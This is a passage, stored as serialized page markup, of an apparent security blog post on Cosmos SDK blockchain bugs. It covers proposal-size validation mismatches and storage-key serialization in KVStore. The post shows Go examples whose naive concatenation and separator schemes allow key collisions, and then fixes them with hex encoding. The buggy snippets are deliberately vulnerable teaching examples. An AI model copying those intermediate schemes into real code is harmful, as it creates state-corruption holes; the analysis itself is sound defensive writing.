h",{"type":23,"tag":134,"props":84313,"children":84314},{"style":179},[84315],{"type":28,"value":720},{"type":23,"tag":134,"props":84317,"children":84318},{"style":162},[84319],{"type":28,"value":84063},{"type":23,"tag":134,"props":84321,"children":84322},{"style":179},[84323],{"type":28,"value":720},{"type":23,"tag":134,"props":84325,"children":84326},{"style":264},[84327],{"type":28,"value":24201},{"type":23,"tag":134,"props":84329,"children":84330},{"style":179},[84331],{"type":28,"value":272},{"type":23,"tag":134,"props":84333,"children":84334},{"style":1461},[84335],{"type":28,"value":84336},"\"injected local last commit\"",{"type":23,"tag":134,"props":84338,"children":84339},{"style":179},[84340],{"type":28,"value":242},{"type":23,"tag":134,"props":84342,"children":84343},{"style":1461},[84344],{"type":28,"value":84345},"\"height\"",{"type":23,"tag":134,"props":84347,"children":84348},{"style":179},[84349],{"type":28,"value":242},{"type":23,"tag":134,"props":84351,"children":84352},{"style":162},[84353],{"type":28,"value":83661},{"type":23,"tag":134,"props":84355,"children":84356},{"style":179},[84357],{"type":28,"value":720},{"type":23,"tag":134,"props":84359,"children":84360},{"style":162},[84361],{"type":28,"value":82991},{"type":23,"tag":134,"props":84363,"children":84364},{"style":179},[84365],{"type":28,"value":329},{"type":23,"tag":134,"props":84367,"children":84368},{"class":136,"line":1024},[84369],{"type":23,"tag":134,"props":84370,"children":84371},{"style":179},[84372],{"type":28,"value":524},{"type":23,"tag":134,"props":84374,"children":84375},{"class":136,"line":1032},[84376,84380,84384,84388,84392,84396],{"type":23,"tag":134,"props":84377,"children":84378},{"style":189},[84379],{"type":28,"value":15214},{"type":23,"tag":134,"props":84381,"children":84382},{"style":168},[84383],{"type":28,"value":6599},{"type":23,"tag":134,"props":84385,"children":84386},{"style":597},[84387],{"type":28,"value":83670},{"type":23,"tag":134,"props":84389,"children":84390},{"style":179},[84391],{"type":28,"value":720},{"type":23,"tag":134,"props":84393,"children":84394},{"style":597},[84395],{"type":28,"value":83700},{"type":23,"tag":134,"props":84397,"children":84398},{"style":179},[84399],{"type":28,"value":10346},{"type":23,"tag":134,"props":84401,"children":84402},{"class":136,"line":1092},[84403,84408,84412,84416],{"type":23,"tag":134,"props":84404,"children":84405},{"style":162},[84406],{"type":28,"value":84407},"            Txs",{"type":23,"tag":134,"props":84409,"children":84410},{"style":179},[84411],{"type":28,"value":14800},{"type":23,"tag":134,"props":84413,"children":84414},{"style":162},[84415],{"type":28,"value":84295},{"type":23,"tag":134,"props":84417,"children":84418},{"style":179},[84419],{"type":28,"value":687},{"type":23,"tag":134,"props":84421,"children":84422},{"class":136,"line":8508},[84423,84428],{"type":23,"tag":134,"props":84424,"children":84425},{"style":179},[84426],{"type":28,"value":84427},"        }, ",{"type":23,"tag":134,"props":84429,"children":84430},{"style":151},[84431],{"type":28,"value":76154},{"type":23,"tag":134,"props":84433,"children":84434},{"class":136,"line":8526},[84435],{"type":23,"tag":134,"props":84436,"children":84437},{"style":179},[84438],{"type":28,"value":533},{"type":23,"tag":134,"props":84440,"children":84441},{"class":136,"line":8571},[84442],{"type":23,"tag":134,"props":84443,"children":84444},{"style":179},[84445],{"type":28,"value":1098},{"type":23,"tag":24,"props":84447,"children":84448},{},[84449,84451,84456,84457,84462,84464,84471],{"type":28,"value":84450},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":23,"tag":92,"props":84452,"children":84454},{"className":84453},[],[84455],{"type":28,"value":82820},{"type":28,"value":232},{"type":23,"tag":92,"props":84458,"children":84460},{"className":84459},[],[84461],{"type":28,"value":82888},{"type":28,"value":84463},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":23,"tag":31,"props":84465,"children":84468},{"href":84466,"rel":84467},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[35],[84469],{"type":28,"value":84470},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":28,"value":84472},", which will later get rejected by CometBTF.",{"type":23,"tag":61,"props":84474,"children":84476},{"id":84475},"the-keymaker",[84477],{"type":28,"value":84478},"The Keymaker",{"type":23,"tag":24,"props":84480,"children":84481},{},[84482,84484,84490,84492,84497],{"type":28,"value":84483},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":23,"tag":92,"props":84485,"children":84487},{"className":84486},[],[84488],{"type":28,"value":84489},"KVStore",{"type":28,"value":84491}," to handle states efficently. In ",{"type":23,"tag":92,"props":84493,"children":84495},{"className":84494},[],[84496],{"type":28,"value":84489},{"type":28,"value":84498},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":23,"tag":24,"props":84500,"children":84501},{},[84502],{"type":28,"value":84503},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":23,"tag":24,"props":84505,"children":84506},{},[84507,84509,84515],{"type":28,"value":84508},"Let's start by considering a scenario where we need to store the ",{"type":23,"tag":92,"props":84510,"children":84512},{"className":84511},[],[84513],{"type":28,"value":84514},"positionMap",{"type":28,"value":84516}," structure mentioned below into storage.",{"type":23,"tag":87,"props":84518,"children":84520},{"code":84519,"language":75676,"meta":7,"className":75677,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n",[84521],{"type":23,"tag":92,"props":84522,"children":84523},{"__ignoreMap":7},[84524,84540,84557,84573,84592,84607,84614,84631],{"type":23,"tag":134,"props":84525,"children":84526},{"class":136,"line":137},[84527,84531,84536],{"type":23,"tag":134,"props":84528,"children":84529},{"style":151},[84530],{"type":28,"value":32252},{"type":23,"tag":134,"props":84532,"children":84533},{"style":597},[84534],{"type":28,"value":84535}," VaultId",{"type":23,"tag":134,"props":84537,"children":84538},{"style":597},[84539],{"type":28,"value":75714},{"type":23,"tag":134,"props":84541,"children":84542},{"class":136,"line":147},[84543,84547,84552],{"type":23,"tag":134,"props":84544,"children":84545},{"style":151},[84546],{"type":28,"value":32252},{"type":23,"tag":134,"props":84548,"children":84549},{"style":597},[84550],{"type":28,"value":84551}," Username",{"type":23,"tag":134,"props":84553,"children":84554},{"style":597},[84555],{"type":28,"value":84556}," string\n",{"type":23,"tag":134,"props":84558,"children":84559},{"class":136,"line":185},[84560,84564,84569],{"type":23,"tag":134,"props":84561,"children":84562},{"style":151},[84563],{"type":28,"value":32252},{"type":23,"tag":134,"props":84565,"children":84566},{"style":597},[84567],{"type":28,"value":84568}," PositionName",{"type":23,"tag":134,"props":84570,"children":84571},{"style":597},[84572],{"type":28,"value":84556},{"type":23,"tag":134,"props":84574,"children":84575},{"class":136,"line":221},[84576,84580,84584,84588],{"type":23,"tag":134,"props":84577,"children":84578},{"style":151},[84579],{"type":28,"value":32252},{"type":23,"tag":134,"props":84581,"children":84582},{"style":597},[84583],{"type":28,"value":6883},{"type":23,"tag":134,"props":84585,"children":84586},{"style":151},[84587],{"type":28,"value":20629},{"type":23,"tag":134,"props":84589,"children":84590},{"style":179},[84591],{"type":28,"value":463},{"type":23,"tag":134,"props":84593,"children":84594},{"class":136,"line":332},[84595,84599,84603],{"type":23,"tag":134,"props":84596,"children":84597},{"style":162},[84598],{"type":28,"value":42732},{"type":23,"tag":134,"props":84600,"children":84601},{"style":179},[84602],{"type":28,"value":75739},{"type":23,"tag":134,"props":84604,"children":84605},{"style":597},[84606],{"type":28,"value":83740},{"type":23,"tag":134,"props":84608,"children":84609},{"class":136,"line":438},[84610],{"type":23,"tag":134,"props":84611,"children":84612},{"style":179},[84613],{"type":28,"value":1098},{"type":23,"tag":134,"props":84615,"children":84616},{"class":136,"line":466},[84617,84621,84626],{"type":23,"tag":134,"props":84618,"children":84619},{"style":151},[84620],{"type":28,"value":32252},{"type":23,"tag":134,"props":84622,"children":84623},{"style":597},[84624],{"type":28,"value":84625}," PositionMap",{"type":23,"tag":134,"props":84627,"children":84628},{"style":168},[84629],{"type":28,"value":84630}," :=\n",{"type":23,"tag":134,"props":84632,"children":84633},{"class":136,"line":479},[84634,84639,84643,84648,84652,84656,84660,84665,84669,84673,84677,84682,84686],{"type":23,"tag":134,"props":84635,"children":84636},{"style":151},[84637],{"type":28,"value":84638},"    map",{"type":23,"tag":134,"props":84640,"children":84641},{"style":179},[84642],{"type":28,"value":924},{"type":23,"tag":134,"props":84644,"children":84645},{"style":597},[84646],{"type":28,"value":84647},"VaultId",{"type":23,"tag":134,"props":84649,"children":84650},{"style":179},[84651],{"type":28,"value":14880},{"type":23,"tag":134,"props":84653,"children":84654},{"style":151},[84655],{"type":28,"value":66611},{"type":23,"tag":134,"props":84657,"children":84658},{"style":179},[84659],{"type":28,"value":924},{"type":23,"tag":134,"props":84661,"children":84662},{"style":597},[84663],{"type":28,"value":84664},"Username",{"type":23,"tag":134,"props":84666,"children":84667},{"style":179},[84668],{"type":28,"value":14880},{"type":23,"tag":134,"props":84670,"children":84671},{"style":151},[84672],{"type":28,"value":66611},{"type":23,"tag":134,"props":84674,"children":84675},{"style":179},[84676],{"type":28,"value":924},{"type":23,"tag":134,"props":84678,"children":84679},{"style":597},[84680],{"type":28,"value":84681},"PositionName",{"type":23,"tag":134,"props":84683,"children":84684},{"style":179},[84685],{"type":28,"value":14880},{"type":23,"tag":134,"props":84687,"children":84688},{"style":597},[84689],{"type":28,"value":84690},"Position\n",{"type":23,"tag":24,"props":84692,"children":84693},{},[84694,84696,84702],{"type":28,"value":84695},"Given that there are two levels of keys in ",{"type":23,"tag":92,"props":84697,"children":84699},{"className":84698},[],[84700],{"type":28,"value":84701},"PositionMap",{"type":28,"value":84703},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":23,"tag":87,"props":84705,"children":84707},{"code":84706,"language":75676,"meta":7,"className":75677,"style":7},"storageKey := fmt.Sprintf(\n    \"%d%s%s\",\n    vaultId,\n    username,\n    positionName,\n)\n",[84708],{"type":23,"tag":92,"props":84709,"children":84710},{"__ignoreMap":7},[84711,84740,84752,84764,84776,84788],{"type":23,"tag":134,"props":84712,"children":84713},{"class":136,"line":137},[84714,84719,84723,84727,84731,84736],{"type":23,"tag":134,"props":84715,"children":84716},{"style":162},[84717],{"type":28,"value":84718},"storageKey",{"type":23,"tag":134,"props":84720,"children":84721},{"style":168},[84722],{"type":28,"value":75928},{"type":23,"tag":134,"props":84724,"children":84725},{"style":162},[84726],{"type":28,"value":81746},{"type":23,"tag":134,"props":84728,"children":84729},{"style":179},[84730],{"type":28,"value":720},{"type":23,"tag":134,"props":84732,"children":84733},{"style":264},[84734],{"type":28,"value":84735},"Sprintf",{"type":23,"tag":134,"props":84737,"children":84738},{"style":179},[84739],{"type":28,"value":642},{"type":23,"tag":134,"props":84741,"children":84742},{"class":136,"line":147},[84743,84748],{"type":23,"tag":134,"props":84744,"children":84745},{"style":1461},[84746],{"type":28,"value":84747},"    \"%d%s%s\"",{"type":23,"tag":134,"props":84749,"children":84750},{"style":179},[84751],{"type":28,"value":687},{"type":23,"tag":134,"props":84753,"children":84754},{"class":136,"line":185},[84755,84760],{"type":23,"tag":134,"props":84756,"children":84757},{"style":162},[84758],{"type":28,"value":84759},"    vaultId",{"type":23,"tag":134,"props":84761,"children":84762},{"style":179},[84763],{"type":28,"value":687},{"type":23,"tag":134,"props":84765,"children":84766},{"class":136,"line":221},[84767,84772],{"type":23,"tag":134,"props":84768,"children":84769},{"style":162},[84770],{"type":28,"value":84771},"    username",{"type":23,"tag":134,"props":84773,"children":84774},{"style":179},[84775],{"type":28,"value":687},{"type":23,"tag":134,"props":84777,"children":84778},{"class":136,"line":332},[84779,84784],{"type":23,"tag":134,"props":84780,"children":84781},{"style":162},[84782],{"type":28,"value":84783},"    positionName",{"type":23,"tag":134,"props":84785,"children":84786},{"style":179},[84787],{"type":28,"value":687},{"type":23,"tag":134,"props":84789,"children":84790},{"class":136,"line":438},[84791],{"type":23,"tag":134,"props":84792,"children":84793},{"style":179},[84794],{"type":28,"value":329},{"type":23,"tag":24,"props":84796,"children":84797},{},[84798],{"type":28,"value":84799},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":23,"tag":87,"props":84801,"children":84803},{"code":84802},"vaultId = 1,  username = \"2a\", positionName = \"b\"\n    => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\",  positionName = \"b\"\n    => storageKey = \"12ab\"\n",[84804],{"type":23,"tag":92,"props":84805,"children":84806},{"__ignoreMap":7},[84807],{"type":28,"value":84802},{"type":23,"tag":24,"props":84809,"children":84810},{},[84811,84816],{"type":23,"tag":55,"props":84812,"children":84813},{},[84814],{"type":28,"value":84815},"So, how can we mitigate this issue?",{"type":28,"value":84817},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":23,"tag":87,"props":84819,"children":84821},{"code":84820,"language":75676,"meta":7,"className":75677,"style":7},"const (\n    Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    username,\n    Seperator,\n    positionName,\n)\n",[84822],{"type":23,"tag":92,"props":84823,"children":84824},{"__ignoreMap":7},[84825,84836,84853,84860,84867,84894,84906,84917,84928,84939,84950,84961],{"type":23,"tag":134,"props":84826,"children":84827},{"class":136,"line":137},[84828,84832],{"type":23,"tag":134,"props":84829,"children":84830},{"style":151},[84831],{"type":28,"value":9119},{"type":23,"tag":134,"props":84833,"children":84834},{"style":179},[84835],{"type":28,"value":78078},{"type":23,"tag":134,"props":84837,"children":84838},{"class":136,"line":147},[84839,84844,84848],{"type":23,"tag":134,"props":84840,"children":84841},{"style":162},[84842],{"type":28,"value":84843},"    Seperator",{"type":23,"tag":134,"props":84845,"children":84846},{"style":168},[84847],{"type":28,"value":171},{"type":23,"tag":134,"props":84849,"children":84850},{"style":1461},[84851],{"type":28,"value":84852}," \"|\"\n",{"type":23,"tag":134,"props":84854,"children":84855},{"class":136,"line":185},[84856],{"type":23,"tag":134,"props":84857,"children":84858},{"style":179},[84859],{"type":28,"value":329},{"type":23,"tag":134,"props":84861,"children":84862},{"class":136,"line":221},[84863],{"type":23,"tag":134,"props":84864,"children":84865},{"emptyLinePlaceholder":15},[84866],{"type":28,"value":865},{"type":23,"tag":134,"props":84868,"children":84869},{"class":136,"line":332},[84870,84874,84878,84882,84886,84890],{"type":23,"tag":134,"props":84871,"children":84872},{"style":162},[84873],{"type":28,"value":84718},{"type":23,"tag":134,"props":84875,"children":84876},{"style":168},[84877],{"type":28,"value":75928},{"type":23,"tag":134,"props":84879,"children":84880},{"style":162},[84881],{"type":28,"value":81746},{"type":23,"tag":134,"props":84883,"children":84884},{"style":179},[84885],{"type":28,"value":720},{"type":23,"tag":134,"props":84887,"children":84888},{"style":264},[84889],{"type":28,"value":84735},{"type":23,"tag":134,"props":84891,"children":84892},{"style":179},[84893],{"type":28,"value":642},{"type":23,"tag":134,"props":84895,"children":84896},{"class":136,"line":438},[84897,84902],{"type":23,"tag":134,"props":84898,"children":84899},{"style":1461},[84900],{"type":28,"value":84901},"    \"%d%s%s%s%s\"",{"type":23,"tag":134,"props":84903,"children":84904},{"style":179},[84905],{"type":28,"value":687},{"type":23,"tag":134,"props":84907,"children":84908},{"class":136,"line":466},[84909,84913],{"type":23,"tag":134,"props":84910,"children":84911},{"style":162},[84912],{"type":28,"value":84759},{"type":23,"tag":134,"props":84914,"children":84915},{"style":179},[84916],{"type":28,"value":687},{"type":23,"tag":134,"props":84918,"children":84919},{"class":136,"line":479},[84920,84924],{"type":23,"tag":134,"props":84921,"children":84922},{"style":162},[84923],{"type":28,"value":84843},{"type":23,"tag":134,"props":84925,"children":84926},{"style":179},[84927],{"type":28,"value":687},{"type":23,"tag":134,"props":84929,"children":84930},{"class":136,"line":497},[84931,84935],{"type":23,"tag":134,"props":84932,"children":84933},{"style":162},[84934],{"type":28,"value":84771},{"type":23,"tag":134,"props":84936,"children":84937},{"style":179},[84938],{"type":28,"value":687},{"type":23,"tag":134,"props":84940,"children":84941},{"class":136,"line":518},[84942,84946],{"type":23,"tag":134,"props":84943,"children":84944},{"style":162},[84945],{"type":28,"value":84843},{"type":23,"tag":134,"props":84947,"children":84948},{"style":179},[84949],{"type":28,"value":687},{"type":23,"tag":134,"props":84951,"children":84952},{"class":136,"line":527},[84953,84957],{"type":23,"tag":134,"props":84954,"children":84955},{"style":162},[84956],{"type":28,"value":84783},{"type":23,"tag":134,"props":84958,"children":84959},{"style":179},[84960],{"type":28,"value":687},{"type":23,"tag":134,"props":84962,"children":84963},{"class":136,"line":780},[84964],{"type":23,"tag":134,"props":84965,"children":84966},{"style":179},[84967],{"type":28,"value":329},{"type":23,"tag":24,"props":84969,"children":84970},{},[84971],{"type":28,"value":84972},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":23,"tag":24,"props":84974,"children":84975},{},[84976,84978,84984,84985,84991],{"type":28,"value":84977},"Sadly, it doesn't. Since the ",{"type":23,"tag":92,"props":84979,"children":84981},{"className":84980},[],[84982],{"type":28,"value":84983},"username",{"type":28,"value":10458},{"type":23,"tag":92,"props":84986,"children":84988},{"className":84987},[],[84989],{"type":28,"value":84990},"vaultName",{"type":28,"value":84992}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":23,"tag":87,"props":84994,"children":84996},{"code":84995},"vaultId = 1, username = \"a|\", positionName = \"b\"\n    => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\",  positionName = \"|b\"\n    => storageKey = \"1|a||b\"\n",[84997],{"type":23,"tag":92,"props":84998,"children":84999},{"__ignoreMap":7},[85000],{"type":28,"value":84995},{"type":23,"tag":24,"props":85002,"children":85003},{},[85004],{"type":28,"value":85005},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":23,"tag":87,"props":85007,"children":85009},{"code":85008,"language":75676,"meta":7,"className":75677,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    usernameEncoded,\n    Seperator,\n    positionNameEncoded\n)\n",[85010],{"type":23,"tag":92,"props":85011,"children":85012},{"__ignoreMap":7},[85013,85024,85039,85046,85053,85060,85081,85097,85135,85142,85179,85186,85206,85221,85257,85264,85299,85306,85333,85344,85355,85366,85378,85389,85397],{"type":23,"tag":134,"props":85014,"children":85015},{"class":136,"line":137},[85016,85020],{"type":23,"tag":134,"props":85017,"children":85018},{"style":151},[85019],{"type":28,"value":9119},{"type":23,"tag":134,"props":85021,"children":85022},{"style":179},[85023],{"type":28,"value":78078},{"type":23,"tag":134,"props":85025,"children":85026},{"class":136,"line":147},[85027,85031,85035],{"type":23,"tag":134,"props":85028,"children":85029},{"style":162},[85030],{"type":28,"value":84843},{"type":23,"tag":134,"props":85032,"children":85033},{"style":168},[85034],{"type":28,"value":171},{"type":23,"tag":134,"props":85036,"children":85037},{"style":1461},[85038],{"type":28,"value":84852},{"type":23,"tag":134,"props":85040,"children":85041},{"class":136,"line":185},[85042],{"type":23,"tag":134,"props":85043,"children":85044},{"style":179},[85045],{"type":28,"value":329},{"type":23,"tag":134,"props":85047,"children":85048},{"class":136,"line":221},[85049],{"type":23,"tag":134,"props":85050,"children":85051},{"emptyLinePlaceholder":15},[85052],{"type":28,"value":865},{"type":23,"tag":134,"props":85054,"children":85055},{"class":136,"line":332},[85056],{"type":23,"tag":134,"props":85057,"children":85058},{"emptyLinePlaceholder":15},[85059],{"type":28,"value":865},{"type":23,"tag":134,"props":85061,"children":85062},{"class":136,"line":438},[85063,85068,85072,85077],{"type":23,"tag":134,"props":85064,"children":85065},{"style":162},[85066],{"type":28,"value":85067},"usernameEncoded",{"type":23,"tag":134,"props":85069,"children":85070},{"style":168},[85071],{"type":28,"value":75928},{"type":23,"tag":134,"props":85073,"children":85074},{"style":264},[85075],{"type":28,"value":85076}," make",{"type":23,"tag":134,"props":85078,"children":85079},{"style":179},[85080],{"type":28,"value":642},{"type":23,"tag":134,"props":85082,"children":85083},{"class":136,"line":466},[85084,85089,85093],{"type":23,"tag":134,"props":85085,"children":85086},{"style":179},[85087],{"type":28,"value":85088},"    []",{"type":23,"tag":134,"props":85090,"children":85091},{"style":597},[85092],{"type":28,"value":84277},{"type":23,"tag":134,"props":85094,"children":85095},{"style":179},[85096],{"type":28,"value":687},{"type":23,"tag":134,"props":85098,"children":85099},{"class":136,"line":479},[85100,85105,85109,85114,85118,85122,85126,85130],{"type":23,"tag":134,"props":85101,"children":85102},{"style":162},[85103],{"type":28,"value":85104},"    hex",{"type":23,"tag":134,"props":85106,"children":85107},{"style":179},[85108],{"type":28,"value":720},{"type":23,"tag":134,"props":85110,"children":85111},{"style":264},[85112],{"type":28,"value":85113},"EncodedLen",{"type":23,"tag":134,"props":85115,"children":85116},{"style":179},[85117],{"type":28,"value":272},{"type":23,"tag":134,"props":85119,"children":85120},{"style":264},[85121],{"type":28,"value":8601},{"type":23,"tag":134,"props":85123,"children":85124},{"style":179},[85125],{"type":28,"value":272},{"type":23,"tag":134,"props":85127,"children":85128},{"style":162},[85129],{"type":28,"value":84983},{"type":23,"tag":134,"props":85131,"children":85132},{"style":179},[85133],{"type":28,"value":85134},")),\n",{"type":23,"tag":134,"props":85136,"children":85137},{"class":136,"line":497},[85138],{"type":23,"tag":134,"props":85139,"children":85140},{"style":179},[85141],{"type":28,"value":329},{"type":23,"tag":134,"props":85143,"children":85144},{"class":136,"line":518},[85145,85150,85154,85159,85163,85167,85171,85175],{"type":23,"tag":134,"props":85146,"children":85147},{"style":162},[85148],{"type":28,"value":85149},"hex",{"type":23,"tag":134,"props":85151,"children":85152},{"style":179},[85153],{"type":28,"value":720},{"type":23,"tag":134,"props":85155,"children":85156},{"style":264},[85157],{"type":28,"value":85158},"Encode",{"type":23,"tag":134,"props":85160,"children":85161},{"style":179},[85162],{"type":28,"value":272},{"type":23,"tag":134,"props":85164,"children":85165},{"style":162},[85166],{"type":28,"value":85067},{"type":23,"tag":134,"props":85168,"children":85169},{"style":179},[85170],{"type":28,"value":242},{"type":23,"tag":134,"props":85172,"children":85173},{"style":162},[85174],{"type":28,"value":84983},{"type":23,"tag":134,"props":85176,"children":85177},{"style":179},[85178],{"type":28,"value":329},{"type":23,"tag":134,"props":85180,"children":85181},{"class":136,"line":527},[85182],{"type":23,"tag":134,"props":85183,"children":85184},{"emptyLinePlaceholder":15},[85185],{"type":28,"value":865},{"type":23,"tag":134,"props":85187,"children":85188},{"class":136,"line":780},[85189,85194,85198,85202],{"type":23,"tag":134,"props":85190,"children":85191},{"style":162},[85192],{"type":28,"value":85193},"positionNameEncoded",{"type":23,"tag":134,"props":85195,"children":85196},{"style":168},[85197],{"type":28,"value":75928},{"type":23,"tag":134,"props":85199,"children":85200},{"style":264},[85201],{"type":28,"value":85076},{"type":23,"tag":134,"props":85203,"children":85204},{"style":179},[85205],{"type":28,"value":642},{"type":23,"tag":134,"props":85207,"children":85208},{"class":136,"line":797},[85209,85213,85217],{"type":23,"tag":134,"props":85210,"children":85211},{"style":179},[85212],{"type":28,"value":85088},{"type":23,"tag":134,"props":85214,"children":85215},{"style":597},[85216],{"type":28,"value":84277},{"type":23,"tag":134,"props":85218,"children":85219},{"style":179},[85220],{"type":28,"value":687},{"type":23,"tag":134,"props":85222,"children":85223},{"class":136,"line":814},[85224,85228,85232,85236,85240,85244,85248,85253],{"type":23,"tag":134,"props":85225,"children":85226},{"style":162},[85227],{"type":28,"value":85104},{"type":23,"tag":134,"props":85229,"children":85230},{"style":179},[85231],{"type":28,"value":720},{"type":23,"tag":134,"props":85233,"children":85234},{"style":264},[85235],{"type":28,"value":85113},{"type":23,"tag":134,"props":85237,"children":85238},{"style":179},[85239],{"type":28,"value":272},{"type":23,"tag":134,"props":85241,"children":85242},{"style":264},[85243],{"type":28,"value":8601},{"type":23,"tag":134,"props":85245,"children":85246},{"style":179},[85247],{"type":28,"value":272},{"type":23,"tag":134,"props":85249,"children":85250},{"style":162},[85251],{"type":28,"value":85252},"positionName",{"type":23,"tag":134,"props":85254,"children":85255},{"style":179},[85256],{"type":28,"value":85134},{"type":23,"tag":134,"props":85258,"children":85259},{"class":136,"line":827},[85260],{"type":23,"tag":134,"props":85261,"children":85262},{"style":179},[85263],{"type":28,"value":329},{"type":23,"tag":134,"props":85265,"children":85266},{"class":136,"line":836},[85267,85271,85275,85279,85283,85287,85291,85295],{"type":23,"tag":134,"props":85268,"children":85269},{"style":162},[85270],{"type":28,"value":85149},{"type":23,"tag":134,"props":85272,"children":85273},{"style":179},[85274],{"type":28,"value":720},{"type":23,"tag":134,"props":85276,"children":85277},{"style":264},[85278],{"type":28,"value":85158},{"type":23,"tag":134,"props":85280,"children":85281},{"style":179},[85282],{"type":28,"value":272},{"type":23,"tag":134,"props":85284,"children":85285},{"style":162},[85286],{"type":28,"value":85193},{"type":23,"tag":134,"props":85288,"children":85289},{"style":179},[85290],{"type":28,"value":242},{"type":23,"tag":134,"props":85292,"children":85293},{"style":162},[85294],{"type":28,"value":85252},{"type":23,"tag":134,"props":85296,"children":85297},{"style":179},[85298],{"type":28,"value":329},{"type":23,"tag":134,"props":85300,"children":85301},{"class":136,"line":859},[85302],{"type":23,"tag":134,"props":85303,"children":85304},{"emptyLinePlaceholder":15},[85305],{"type":28,"value":865},{"type":23,"tag":134,"props":85307,"children":85308},{"class":136,"line":868},[85309,85313,85317,85321,85325,85329],{"type":23,"tag":134,"props":85310,"children":85311},{"style":162},[85312],{"type":28,"value":84718},{"type":23,"tag":134,"props":85314,"children":85315},{"style":168},[85316],{"type":28,"value":75928},{"type":23,"tag":134,"props":85318,"children":85319},{"style":162},[85320],{"type":28,"value":81746},{"type":23,"tag":134,"props":85322,"children":85323},{"style":179},[85324],{"type":28,"value":720},{"type":23,"tag":134,"props":85326,"children":85327},{"style":264},[85328],{"type":28,"value":84735},{"type":23,"tag":134,"props":85330,"children":85331},{"style":179},[85332],{"type":28,"value":642},{"type":23,"tag":134,"props":85334,"children":85335},{"class":136,"line":877},[85336,85340],{"type":23,"tag":134,"props":85337,"children":85338},{"style":1461},[85339],{"type":28,"value":84901},{"type":23,"tag":134,"props":85341,"children":85342},{"style":179},[85343],{"type":28,"value":687},{"type":23,"tag":134,"props":85345,"children":85346},{"class":136,"line":946},[85347,85351],{"type":23,"tag":134,"props":85348,"children":85349},{"style":162},[85350],{"type":28,"value":84759},{"type":23,"tag":134,"props":85352,"children":85353},{"style":179},[85354],{"type":28,"value":687},{"type":23,"tag":134,"props":85356,"children":85357},{"class":136,"line":954},[85358,85362],{"type":23,"tag":134,"props":85359,"children":85360},{"style":162},[85361],{"type":28,"value":84843},{"type":23,"tag":134,"props":85363,"children":85364},{"style":179},[85365],{"type":28,"value":687},{"type":23,"tag":134,"props":85367,"children":85368},{"class":136,"line":984},[85369,85374],{"type":23,"tag":134,"props":85370,"children":85371},{"style":162},[85372],{"type":28,"value":85373},"    usernameEncoded",{"type":23,"tag":134,"props":85375,"children":85376},{"style":179},[85377],{"type":28,"value":687},{"type":23,"tag":134,"props":85379,"children":85380},{"class":136,"line":992},[85381,85385],{"type":23,"tag":134,"props":85382,"children":85383},{"style":162},[85384],{"type":28,"value":84843},{"type":23,"tag":134,"props":85386,"children":85387},{"style":179},[85388],{"type":28,"value":687},{"type":23,"tag":134,"props":85390,"children":85391},{"class":136,"line":1024},[85392],{"type":23,"tag":134,"props":85393,"children":85394},{"style":162},[85395],{"type":28,"value":85396},"    positionNameEncoded\n",{"type":23,"tag":134,"props":85398,"children":85399},{"class":136,"line":1032},[85400],{"type":23,"tag":134,"props":85401,"children":85402},{"style":179},[85403],{"type":28,"value":329},{"type":23,"tag":24,"props":85405,"children":85406},{},[85407,85409,85414],{"type":28,"value":85408},"We did it. We finally eliminated all potential ",{"type":23,"tag":92,"props":85410,"children":85412},{"className":85411},[],[85413],{"type":28,"value":84718},{"type":28,"value":85415}," collisions.",{"type":23,"tag":24,"props":85417,"children":85418},{},[85419],{"type":28,"value":85420},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":23,"tag":24,"props":85422,"children":85423},{},[85424,85426,85432,85434,85439,85441,85446,85448,85453,85455,85461],{"type":28,"value":85425},"In the Cosmos framework, it is common for each ",{"type":23,"tag":92,"props":85427,"children":85429},{"className":85428},[],[85430],{"type":28,"value":85431},"Module",{"type":28,"value":85433}," to own a few ",{"type":23,"tag":92,"props":85435,"children":85437},{"className":85436},[],[85438],{"type":28,"value":84489},{"type":28,"value":85440}," and have individual ",{"type":23,"tag":92,"props":85442,"children":85444},{"className":85443},[],[85445],{"type":28,"value":79457},{"type":28,"value":85447},"s managing access to storages. It's also important to note that each ",{"type":23,"tag":92,"props":85449,"children":85451},{"className":85450},[],[85452],{"type":28,"value":84489},{"type":28,"value":85454}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":23,"tag":92,"props":85456,"children":85458},{"className":85457},[],[85459],{"type":28,"value":85460},"Modules",{"type":28,"value":720},{"type":23,"tag":24,"props":85463,"children":85464},{},[85465,85467,85472],{"type":28,"value":85466},"With that being said, what if we have to maintain more than one structure within the same 